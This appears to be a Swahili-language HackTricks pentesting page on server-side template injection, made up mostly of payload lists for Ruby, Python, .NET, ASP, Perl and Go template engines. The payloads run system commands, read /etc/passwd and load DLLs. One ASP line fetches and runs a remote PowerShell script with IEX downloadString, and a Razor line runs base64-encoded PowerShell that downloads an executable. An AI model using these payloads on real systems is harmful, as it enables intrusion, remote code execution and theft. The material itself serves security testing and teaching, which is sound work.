https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Taarifa zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Maelezo zaidi
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Maelezo zaidi
Ruby nyingine
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Taarifa zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Angalia ukurasa ufuatao ili ujifunze mbinu kuhusu arbitrary command execution bypassing sandboxes katika Python:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Taarifa zaidi
Jinja2 (Python)
Jinja2 ni template engine yenye sifa kamili kwa Python. Ina msaada kamili wa Unicode, mazingira ya utekelezaji yaliyofungwa (sandboxed) yanayoweza kuunganishwa kama chaguo, inatumika sana na ina leseni ya BSD.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Muundo wa kiolezo
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE not dependant from __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Maelezo zaidi kuhusu jinsi ya kutumia vibaya Jinja:
Payloads nyingine zipo kwenye https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Taarifa zaidi
Python nyingine
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Taarifa zaidi katika https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Njia ya .NET System.Diagnostics.Process.Start inaweza kutumika kuanzisha mchakato wowote kwenye server na hivyo kuunda webshell. Unaweza kupata mfano wa webapp dhaifu katika https://github.com/cnotin/RazorVulnerableApp
Taarifa zaidi
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Hakuna<%= response.write(date()) %>= <Tarehe>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Taarifa Zaidi
.Net Kuvuka vizuizi
Mekanizimu za .NET Reflection zinaweza kutumika kuvuka blacklisting au pale classes hazipo katika assembly. DLL’s zinaweza kupakiwa wakati wa runtime huku methods na properties zikifikika kutoka kwa basic objects.
Dll’s can be loaded with:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- from filesystem.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- directly from request.
Utekelezaji wa amri kamili:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Maelezo Zaidi
Mojolicious (Perl)
Hata ikiwa ni Perl, inatumia tagi kama ERB katika Ruby.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
Katika engine ya template ya Go, kuthibitisha matumizi yake kunaweza kufanywa kwa payloads maalum:
{{ . }}: Inaonyesha muundo wa data iliyotumika. Kwa mfano, kama object ina sifaPasswordimepitishwa,{{ .Password }}inaweza kuibua.{{printf "%s" "ssti" }}: Inatarajiwa kuonyesha string “ssti”.{{html "ssti"}},{{js "ssti"}}: Payloads hizi zinapaswa kurejesha “ssti” bila kuongeza “html” au “js”. Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go here.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
Kwa package ya text/template, XSS inaweza kufanywa kwa urahisi kwa kuingiza payload moja kwa moja. Kinyume chake, package ya html/template ina-encode response ili kuzuia hili (mfano, {{"<script>alert(1)</script>"}} inakuwa <script>alert(1)</script>). Hata hivyo, ufafanuzi na uitishaji wa template katika Go zinaweza kupitisha encoding hii: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Copy code
RCE Exploitation
RCE exploitation inatofautiana sana kati ya html/template na text/template. Module ya text/template inaruhusu kuita function yoyote ya public moja kwa moja (kutumia thamani ya “call”), ambayo haikubaliwi katika html/template. Nyaraka za modules hizi zinapatikana here for html/template na here for text/template.
Kwa RCE kupitia SSTI katika Go, methods za object zinaweza kuitwa. Kwa mfano, ikiwa object iliyotolewa ina method System inayotekeleza amri, inaweza kutumika kama {{ .System "ls" }}. Kufikia source code kawaida ni muhimu ili ku-exploit hii, kama kwenye mfano uliopewa:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Taarifa Zaidi
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Preprocessor)
LESS ni pre-processor maarufu wa CSS unaoongeza variables, mixins, functions na directive yenye nguvu ya @import. Wakati wa uundaji (compilation), engine ya LESS ita-tafuta rasilimali zilizotajwa katika @import statements na kuiingiza (“inline”) yaliyomo ndani ya CSS itakayozalishwa wakati chaguo la (inline) linapotumika.
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
More Exploits
Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Related Help
If you think it could be useful, read:
Tools
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Detection List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
Marejeo
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)
- XWiki advisory –
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


